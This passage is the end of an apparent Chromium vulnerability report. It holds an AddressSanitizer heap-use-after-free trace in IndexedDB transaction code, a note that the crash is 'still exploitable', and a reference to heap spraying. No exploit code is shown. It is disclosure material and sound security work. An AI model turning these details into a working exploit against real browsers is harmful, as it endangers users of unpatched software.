    #6 0x7ff8d097bb77 in base::internal::ThreadGroupImpl::Start(unsigned __int64, unsigned __int64, class base::TimeDelta, class scoped_refptr<class base::SingleThreadTaskRunner>, class base::WorkerThreadObserver *, enum base::internal::ThreadGroup::WorkerEnvironment, bool, class std::__Cr::optional<class base::TimeDelta>) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_group_impl.cc:252:3
    #7 0x7ff8d096ce05 in base::internal::ThreadPoolImpl::Start(struct base::ThreadPoolInstance::InitParams const &, class base::WorkerThreadObserver *) C:\b\s\w\ir\cache\builder\src\base\task\thread_pool\thread_pool_impl.cc:198:35
    #8 0x7ff8c8192d61 in content::StartBrowserThreadPool(void) C:\b\s\w\ir\cache\builder\src\content\browser\startup_helper.cc:98:36
    #9 0x7ff8cca9af25 in content::ContentMainRunnerImpl::RunBrowser(struct content::MainFunctionParams, bool) C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:1225:5
    #10 0x7ff8cca9a14e in content::ContentMainRunnerImpl::Run(void) C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:1127:12
    #11 0x7ff8cca8e61f in content::RunContentProcess(struct content::ContentMainParams, class content::ContentMainRunner *) C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:346:36
    #12 0x7ff8cca8eb8e in content::ContentMain(struct content::ContentMainParams) C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:359:10
    #13 0x7ff8bd6d300f in ChromeMain C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc:228:12
    #14 0x7ff6cf4c479b in MainDllLoader::Launch(struct HINSTANCE__*, class base::TimeTicks) C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc:201:12
    #15 0x7ff6cf4c200c in main C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc:352:20
    #16 0x7ff6cf995aff in invoke_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:78
    #17 0x7ff6cf995aff in __scrt_common_main_seh D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
    #18 0x7ffa1fffe8d6  (C:\WINDOWS\System32\KERNEL32.DLL+0x18002e8d6)
    #19 0x7ffa21388d9b  (C:\WINDOWS\SYSTEM32\ntdll.dll+0x180008d9b)

SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree:886 in std::__Cr::__tree<std::__Cr::__value_type<long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> > >,std::__Cr::__map_value_compare<long long,std::__Cr::pair<const long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> > >,std::__Cr::less<long long>,1>,std::__Cr::allocator<std::__Cr::pair<const long long,std::__Cr::unique_ptr<content::indexed_db::Transaction,std::__Cr::default_delete<content::indexed_db::Transaction> > > > >::begin
Shadow bytes around the buggy address:
  0x1219128a1d80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1219128a1e00: fa fa fa fa fa fa f7 fa fd fd fd fd fd fd fd fd
  0x1219128a1e80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1219128a1f00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1219128a1f80: fd fd fd fd fd fd fd fd fa fa fa fa fa fa f7 fa
=>0x1219128a2000: fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd
  0x1219128a2080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1219128a2100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x1219128a2180: fa fa fa fa fa fa f7 fa fd fd fd fd fd fd fd fd
  0x1219128a2200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1219128a2280: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==21320==ADDITIONAL INFO

==21320==Note: Please include this section with the ASan report.
Task trace:
    #0 0x7ff8c88965ed in content::indexed_db::BucketContext::QueueRunTasks(void) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\instance\bucket_context.cc:475:7
    #1 0x7ff8d0f64a98 in mojo::SimpleWatcher::ArmOrNotify(void) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc:238:28
    #2 0x7ff8c88297de in content::indexed_db::IndexedDBContextImpl::BindIndexedDBImpl(struct storage::BucketClientInfo const &, class mojo::PendingRemote<class storage::mojom::IndexedDBClientStateChecker>, class mojo::PendingReceiver<class blink::mojom::IDBFactory>, class base::expected<struct storage::BucketInfo, struct storage::DetailedQuotaError>) C:\b\s\w\ir\cache\builder\src\content\browser\indexed_db\indexed_db_context_impl.cc:359:18
    #3 0x7ff8d68c3e88 in storage::QuotaManagerProxy::UpdateOrCreateBucket(struct storage::BucketInitParams const &, class scoped_refptr<class base::SequencedTaskRunner>, class base::OnceCallback<(class base::expected<struct storage::BucketInfo, struct storage::DetailedQuotaError>)>) C:\b\s\w\ir\cache\builder\src\storage\browser\quota\quota_manager_proxy.cc:131:7


Command line: `chrome --incognito --flag-switches-begin --flag-switches-end --file-url-path-alias="/gen=I:\Chromium\chromium-142.0.7405.4-win64-asan\gen"`


MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==21320==END OF ADDITIONAL INFO
==21320==ABORTING

REFERENCES

Project Zero blog - heap spraying to predictable addresses
music in the video (lol)

CREDIT INFORMATION

Reporter credit: 0xSombra

View on issue tracker